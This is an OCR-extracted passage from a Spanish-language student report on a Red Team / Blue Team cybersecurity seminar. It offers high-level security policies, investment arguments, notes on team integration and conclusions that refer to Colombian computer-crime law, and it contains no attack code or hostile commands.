Inicio de sesion seguro

) Como seguridad adicional, puede requerir que los usuarios
presionen Ctrl+Alt+Supr para iniciar la sesion. Asf se garantiza
que aparezca la pantalla de inicio de sesién de Windows
auténtica, lo que protege al sistema frente a programas que
imitan un inicio de sesion para obtener informacion de
contrasefias.

Requerir que los usuarios presionen Ctrl+Alt+Supr

Aceptar Cancelar Aplicar

Fuente: Elaboracion propia.
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17.

Politicas de seguridad y recomendaciones para mejorar los aspectos de

ciberseguridad en cualquier organizacién en sus entornos T.I.

Para mejorar los aspectos de ciberseguridad en cualquier organizacion en sus entornos

de Tecnologias de la Informacion (T.1.), es fundamental establecer politicas de seguridad

sélidas y seguir recomendaciones practicas. A continuacién, se presentan algunas

politicas y recomendaciones clave:

>

v

Politicas de Seguridad:

Politica de Acceso y Autenticacion: Establecer reglas claras sobre quién tiene
acceso a los sistemas y datos de la organizacién, utilizando medidas de
autenticacion robustas como contrasefias seguras, autenticacion de dos factores

y gestion de privilegios.

Politica de Gestion de Parches y Actualizaciones: Definir procedimientos para la
instalacion regular de parches de seguridad y actualizaciones de software en todos
los sistemas y dispositivos, incluyendo servidores, aplicaciones y dispositivos

finales.

Politica de Seguridad de la Red: Establecer reglas de seguridad de red para
proteger los sistemas contra intrusiones externas e internas, incluyendo el uso de

firewalls, deteccidn de intrusiones y segmentacion de red.

Politica de Gestion de Incidentes: Definir procedimientos claros para la deteccion,
notificacion, investigacién y respuesta a incidentes de seguridad cibernética,
incluyendo la asignacion de responsabilidades y la coordinacion con las

autoridades pertinentes.
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Politica de Gestion de Datos: Establecer reglas para el almacenamiento seguro,
la transmision y la eliminacion de datos confidenciales, cumpliendo con las

regulaciones de privacidad y proteccion de datos aplicables.

Recomendaciones:

Concienciacion y Formacién del Personal: Proporcionar formacion regular sobre
seguridad cibernética a todos los empleados, incluyendo la identificacion de
amenazas, buenas practicas de seguridad y cémo informar incidentes de

seguridad.

Implementacion de Tecnologias de Seguridad Avanzadas: Utilizar tecnologias de
seguridad avanzadas, como sistemas de deteccion y prevencion de intrusiones,
analisis de comportamiento de usuarios y gestion de eventos de seguridad, para
proteger los sistemas contra amenazas cibernéticas.

Auditorias de Seguridad Regulares: Realizar auditorias de seguridad periddicas
para evaluar la eficacia de las medidas de seguridad implementadas y detectar

posibles vulnerabilidades o debilidades en la infraestructura de T.1.

Gestion de Proveedores y Terceros: Establecer procesos para evaluar y
supervisar la seguridad de los proveedores y terceros que tienen acceso a los
sistemas o datos de la organizacion, asegurando que cumplan con los estandares

de seguridad requeridos.

Mantenimiento de Copias de Seguridad: Realizar copias de seguridad
regularmente de los datos criticos y almacenarlas de forma segura fuera del sitio,
para garantizar la disponibilidad y recuperacion de datos en caso de incidentes de

seguridad o desastres.
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Implementar estas politicas de seguridad y seguir estas recomendaciones ayudara a
mejorar significativamente los aspectos de ciberseguridad en cualquier organizacion,
protegiendo sus activos de informacion y reduciendo el riesgo de sufrir ataques

cibernéticos.

18. Importancia de la Inversibn en Ciberseguridad: Conclusiones vy

Recomendaciones.

Las conclusiones orientadas a aspectos importantes para la inversion en ciberseguridad
dentro de las organizaciones deben tener en cuenta cada una de las etapas ejecutadas
a lo largo del seminario especializado. Estas conclusiones deben respaldar la necesidad
de inversion y proporcionar justificaciones sélidas para convencer a la alta gerencia. A
continuacion, se presentan algunas conclusiones fundamentales basadas en las etapas

del seminario:

v' Analisis de Vulnerabilidades y Riesgos: Durante la etapa de analisis, se
identificaron y evaluaron las vulnerabilidades y riesgos de seguridad en los
sistemas de la organizacién. Las conclusiones de esta etapa destacan la
importancia de abordar estas vulnerabilidades para evitar posibles brechas de

seguridad y ataques cibernéticos costosos.

v' Simulaciones de Ataques y Pruebas de Penetracion: A lo largo de las simulaciones
de ataques y pruebas de penetracion realizadas durante el seminario, se
demostraron las deficiencias en las defensas de seguridad de la organizacion. Las
conclusiones resaltan la necesidad de fortalecer las defensas cibernéticas para

proteger los activos de informacion y mantener la continuidad del negocio.
v" Respuesta y Mitigacion de Incidentes: Durante la etapa de respuesta a incidentes,

se evalud la capacidad de la organizacion para detectar, responder y mitigar

ataques cibernéticos. Las conclusiones de esta etapa subrayan la importancia de
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contar con procesos Yy recursos adecuados para responder eficazmente a

incidentes de seguridad y minimizar su impacto.

v" Mejora Continua de la Postura de Seguridad: A lo largo del seminario, se enfatizé
la importancia de la mejora continua de la postura de seguridad cibernética. Las
conclusiones destacan la necesidad de inversiones continuas en tecnologias,
formacién y procesos de seguridad para mantenerse al dia con las amenazas

cibernéticas en constante evolucion.

v' Demostracion de Resultados y Beneficios: Finalmente, las conclusiones deben
incluir una demostracion clara de los resultados y beneficios obtenidos a lo largo
del seminario. Esto puede incluir la reduccion de riesgos, el aumento de la

resiliencia cibernética y la proteccion de la reputacion de la organizacion.

19. Integracién de equipos Blue Team, Red Team y Purple Team

La integracion de equipos Blue Team, Red Team y Purple Team al mismo tiempo dentro
de una organizacion aporta de diversas maneras en el campo de la ciberseguridad. A

continuacion, se detallan algunos de los beneficios clave de esta integracion:

» La colaboracion entre los equipos Blue Team, Red Team y Purple Team permite
una deteccion mas exhaustiva de amenazas cibernéticas. Mientras que el Blue
Team se enfoca en la defensa de los sistemas, el Red Team simula ataques para
identificar vulnerabilidades. El Purple Team facilita la comunicacion entre ambos
equipos, asegurando que las amenazas identificadas por el Red Team se aborden
eficazmente por el Blue Team.

» La integracion de equipos permite una respuesta mas rapida y coordinada ante
posibles incidentes de seguridad. La informacion compartida entre el Blue Team,

Red Team y Purple Team permite una comprension mas completa de las
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amenazas y una accién mas rapida para mitigarlas, lo que reduce el tiempo de
exposicidn a riesgos y minimiza el impacto de los ataques.

La colaboracion entre los equipos permite una mejora continua de la postura de
seguridad de la organizacion. Los hallazgos y lecciones aprendidas de las
simulaciones de ataques realizadas por el Red Team se utilizan para fortalecer las
defensas implementadas por el Blue Team. El Purple Team facilita este
intercambio de conocimientos y promueve un enfoque proactivo hacia la seguridad
cibernética.

La integracion de equipos optimiza los recursos y esfuerzos dedicados a la
ciberseguridad. En lugar de trabajar de forma aislada, los equipos colaboran para
identificar, prevenir y responder a amenazas de manera mas eficiente. Esto evita
la duplicacion de esfuerzos y garantiza que los recursos de la organizacién se
utilicen de manera efectiva para proteger sus activos de informacion.

La integracion de equipos Blue Team, Red Team y Purple Team al mismo tiempo
dentro de una organizacion fortalece su capacidad para detectar, prevenir y
responder a amenazas cibernéticas de manera eficaz y eficiente. Esta
colaboracién promueve una cultura de seguridad proactiva y continua mejora de

la postura de seguridad de la organizacion.
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20. CONCLUSIONES

El informe técnico elaborado ofrece una exploracion exhaustiva y detallada de las
estrategias Red Team & Blue Team presentadas en el seminario especializado. Se
destaca su relevancia en el ambito de la ciberseguridad, proporcionando un andlisis
profundo de como estas estrategias pueden aplicarse en entornos organizacionales para
fortalecer la postura de seguridad digital. Al presentar estas estrategias de manera clara
y precisa, el informe proporciona una base sélida para comprender, implementar y

mejorar las practicas de ciberseguridad en las organizaciones.

La identificacion y explicacion de como la integracion simultanea de equipos Blue Team,
Red Team y Purple Team puede fortalecer la deteccion, prevencion y respuesta a
amenazas cibernéticas es un aspecto fundamental de este informe. Se destaca la
importancia de la colaboracién y el intercambio de informacion entre estos equipos para
mejorar la capacidad de una organizacion para hacer frente a las amenazas digitales en
un entorno en constante cambio. Ademas, se resalta el papel crucial del equipo Purple
Team como facilitador de la comunicacion y la coordinacion entre el Blue Team y el Red
Team, lo que contribuye a una respuesta mas efectiva ante posibles incidentes de

seguridad.

El andlisis detallado de las implicaciones legales establecidas por los articulos relevantes
de la Ley 1273 de 2009 en Colombia es un componente esencial de este informe. Se
destacan las penas y multas asociadas con diferentes delitos informaticos, lo que subraya
la importancia de cumplir con las regulaciones y normativas en materia de ciberseguridad.
Este analisis proporciona una comprension mas profunda de las consecuencias legales
de las actividades delictivas en el ambito digital, y destaca la necesidad de adoptar
medidas proactivas de ciberseguridad para proteger los activos de informacion y evitar

sanciones legales.
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El informe técnico ofrece una perspectiva integral y completa sobre las estrategias de
ciberseguridad, destacando su importancia técnica y legal en el contexto colombiano y
global. Al proporcionar recomendaciones practicas y orientacién sobre como implementar
estas estrategias en las organizaciones, el informe sirve como una herramienta valiosa
para mejorar la postura de seguridad digital y mitigar los riesgos asociados con las

amenazas cibernéticas.
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21. RECOMENDACIONES

Basandonos en los hallazgos y conclusiones presentados en el informe, se pueden
formular las siguientes recomendaciones para fortalecer la ciberseguridad en una

organizacion:

» Implementacién Integral de Estrategias Red Team & Blue Team: Se
recomienda adoptar e integrar de manera completa las estrategias Red Team &
Blue Team en las operaciones de ciberseguridad de la organizacion. Esto implica
llevar a cabo pruebas regulares de penetracion (Red Team) para identificar
vulnerabilidades, y fortalecer las defensas y medidas de respuesta (Blue Team)

en funcién de los hallazgos obtenidos.

» Fomentar la Colaboracion y el Intercambio de Informacion: Es esencial
promover una cultura de colaboracién y trabajo en equipo entre los equipos de
seguridad cibernética. Se sugiere establecer canales de comunicacién efectivos y
compartir informacion relevante entre los equipos Blue Team, Red Team y Purple
Team para mejorar la deteccion, prevencion y respuesta ante amenazas

cibernéticas.

» Capacitacion Continua del Personal: Invertir en programas de capacitacion y
desarrollo del personal en temas de ciberseguridad es fundamental. Esto incluye
proporcionar formacién en buenas practicas de seguridad cibernética, concienciar
sobre las Ultimas amenazas y tendencias, y fomentar una cultura de seguridad en
toda la organizacion. Un personal bien capacitado es una defensa crucial contra

las amenazas cibernéticas.

» Cumplimiento de la Legislacion Pertinente: Es crucial que la organizacion

cumpla con la legislacion y regulaciones en materia de ciberseguridad, como la
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Ley 1273 de 2009 en Colombia. Se recomienda revisar y actualizar las politicas y
procedimientos internos para garantizar el cumplimiento de las disposiciones
legales, asi como establecer mecanismos de monitoreo y auditoria para verificar

el cumplimiento continuo.

» Inversion en Tecnhologia y Herramientas de Ciberseguridad: Se sugiere
realizar inversiones en tecnologias y herramientas de ciberseguridad adecuadas
para proteger los activos de informacion de la organizacion. Esto puede incluir la
implementacion de sistemas de deteccion y prevencion de intrusiones, firewalls
avanzados, soluciones de gestion de identidad y acceso, entre otros. Es
importante evaluar regularmente la eficacia de estas herramientas y realizar

actualizaciones segun sea necesario.

» Evaluacion Periédica de la Postura de Seguridad: Se recomienda realizar
evaluaciones periddicas de la postura de seguridad de la organizacion para
identificar posibles brechas y areas de mejora. Esto puede incluir auditorias de
seguridad, evaluaciones de riesgos y pruebas de vulnerabilidad. Con base en los
hallazgos obtenidos, se deben implementar acciones correctivas y medidas

preventivas para mitigar los riesgos identificados.

Al seguir estas recomendaciones, la organizacion estara mejor preparada para hacer
frente a las crecientes amenazas cibernéticas y proteger sus activos de informacion de
manera efectiva. La inversion en seguridad cibernética y la adopcion de practicas sélidas
de seguridad son esenciales para mantener la integridad y la confianza del cliente en un

entorno digital cada vez mas complejo.
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ANEXOS

» Enlace al video de sustentacion

https://youtu.be/WYrYRAAS5etc?si=vONm-hVJGqgVp f1J2°

» Resultado de prueba anti-plagio
Figura 46 - Resultado de prueba anti-plagio
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Anexo 6 — Escenario 5

Este anexo tiene la finalidad de brindar una guia para la identificacion de un
problema especifico en temas técnicos que se ejecutan en equipos blue team y

red team a modo de informe final gerencial.

Situacion problema: Analisis Final

HackerHouse requiere un informe final del postulante al puesto de red team o blue
team; el postulante (estudiante) debera elaborar un documento el cual contenga
cada uno de los escenarios y soluciones generadas a lo largo del curso de
seminario especializado. Este documento dara por finalizado el periodo de prueba
de cada uno de los postulantes y sera revisado por los ingenieros de seguridad
de HackerHouse. El documento debe contener la estructura plasmada en la guia

de actividades.3!
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